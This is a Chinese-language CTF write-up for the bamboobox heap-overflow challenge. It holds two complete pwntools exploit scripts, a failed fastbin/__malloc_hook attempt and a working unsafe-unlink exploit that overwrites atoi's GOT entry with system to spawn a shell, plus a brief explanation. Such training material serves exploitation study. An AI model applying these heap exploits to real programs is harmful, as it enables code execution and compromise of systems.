hitcontraining_unlink wp

64位标准菜单题,无uaf,开启canary和nx保护,存在堆溢出
此题第一次尝试用fastbin attack打,劫持__malloc_hook打one_gadget
但实践过程中one_gadget出锅,还是放下不完全的exp其实是fastbin attack写错了,相信细心的你一定能找出我当时的错误:

from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])


io=process("./bamboobox")
# io=remote("node4.buuoj.cn",29708)
elf=ELF("./bamboobox")
libc=ELF("./libc-2.23.so")
one_gadget=[0x45216, 0x4526a, 0xf03a4, 0xf1247]


def show():
    io.sendlineafter("Your choice:",b"1")

def add(n,c):
    io.sendlineafter("Your choice:",b"2")
    io.sendlineafter("name:",str(n))
    io.sendafter("item:",c)

def edit(n,c,cc):
    io.sendlineafter("Your choice:",b"3")
    io.sendlineafter("item:",str(n))
    io.sendafter("name:",str(c))
    io.sendafter("item:",cc)

def delete(n):
    io.sendlineafter("Your choice:",b"4")
    io.sendlineafter("item:",str(n))

# add(0x40,b"asd") #0
add(0x10,b"cqb") #0
add(0x40,b"opo") #1
add(0x30,b"unun") #2
add(0x10,b"iii") #3

payload=cyclic(0x10)+p64(0)+p64(0x91)
edit(0,len(payload),payload)

delete(1)
add(0x40,b"aaa") #1
show()
leak_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print("leak_addr:  "+hex(leak_addr))
libc_addr=leak_addr-0x58-0x3C4B20
malloc_hook=libc_addr+libc.sym[b"__malloc_hook"]
free_hook=libc_addr+libc.sym[b"__free_hook"]
print("libc_addr:  "+hex(libc_addr))
print("malloc_hook:  "+hex(malloc_hook))
print("free_hook:  "+hex(free_hook))
shell=libc_addr+one_gadget[0]


gdb.attach(io)
pause()
add(0x30,b"ppp") #4
add(0x60,b"www") #5
add(0x40,b"qqq") #6
delete(5)



payload=cyclic(0x10)+p64(0)+p64(0x71)+p64(malloc_hook-0x23)
edit(3,len(payload),payload)

add(0x60,p64(shell)) #5
add(0x60,cyclic(0x13)+p64(shell)) #fake_chunk
add(0x40,b"aaa")


io.interactive()


# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

打不通换unlink做法
先放exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])



io=process("./bamboobox")
# io=remote("node4.buuoj.cn",27423)
elf=ELF("./bamboobox")
libc=ELF("./libc-2.23.so")
one_gadget=[0x45216, 0x4526a, 0xf03a4, 0xf1247]
bss_addr=0x6020C8
# pf_got=elf.got[b"printf"]
atoi_got=elf.got[b"atoi"]
free_got=elf.got[b"free"]

def show():
    io.sendlineafter("Your choice:",b"1")

def add(n,c):
    io.sendlineafter("Your choice:",b"2")
    io.sendlineafter("name:",str(n))
    io.sendafter("item:",c)

def edit(n,c,cc):
    io.sendlineafter("Your choice:",b"3")
    io.sendlineafter("item:",str(n))
    io.sendafter("name:",str(c))
    io.sendafter("item:",cc)

def delete(n):
    io.sendlineafter("Your choice:",b"4")
    io.sendlineafter("item:",str(n))

add(0x30,b"aaa") 
add(0x80,b"qqq")
add(0x40,b"www")

payload=p64(0)+p64(0x30)
fd=bss_addr-0x18
bk=bss_addr-0x10
payload+=p64(fd)+p64(bk)
payload+=cyclic(0x10)
payload+=p64(0x30)+p64(0x90)



edit(0,len(payload),payload)

delete(1)


payload=p64(0)*2+p64(0)+p64(atoi_got)
edit(0,len(payload),payload)
gdb.attach(io)
pause()
show()
io.recvuntil("0 : ")
libc_base=u64(io.recv(6).ljust(8,b"\x00"))-libc.sym[b"atoi"]
print("libc_base:  "+hex(libc_base))


sys_addr=libc_base+libc.sym[b"system"]
edit(0,8,p64(sys_addr))
io.sendafter("choice:",b"/bin/sh\x00")


io.interactive()

首先申请3个堆块,利用edit(0)通过chunk0伪造一个fake_chunk,注意unlink的检查机制,chunk1的size和prev_size(即fake_chunk size)不能错,此外注意chunk1的大小需大于fastbin最大值,方便后来delete(1)时和fake_chunk合并触发unlink操作

payload=p64(0)+p64(0x30)
fd=bss_addr-0x18
bk=bss_addr-0x10
payload+=p64(fd)+p64(bk)
payload+=cyclic(0x10)
payload+=p64(0x30)+p64(0x90)

edit(0,len(payload),payload)

delete(1)

之后fake_chunk的fd指针指向了chunk指针-0x18处
再次通过edit修改chunk指针处的地址为atoi_got(调用过的函数got地址都可以,不过采用atoi方便最后传参),方便show()时泄露libc

payload=p64(0)*2+p64(0)+p64(atoi_got)
edit(0,len(payload),payload)

最后将atoi的got表地址改为system地址,此时调用atoi读入参数时同时调用了system,参数传入system,若传入"sh"则可以getshell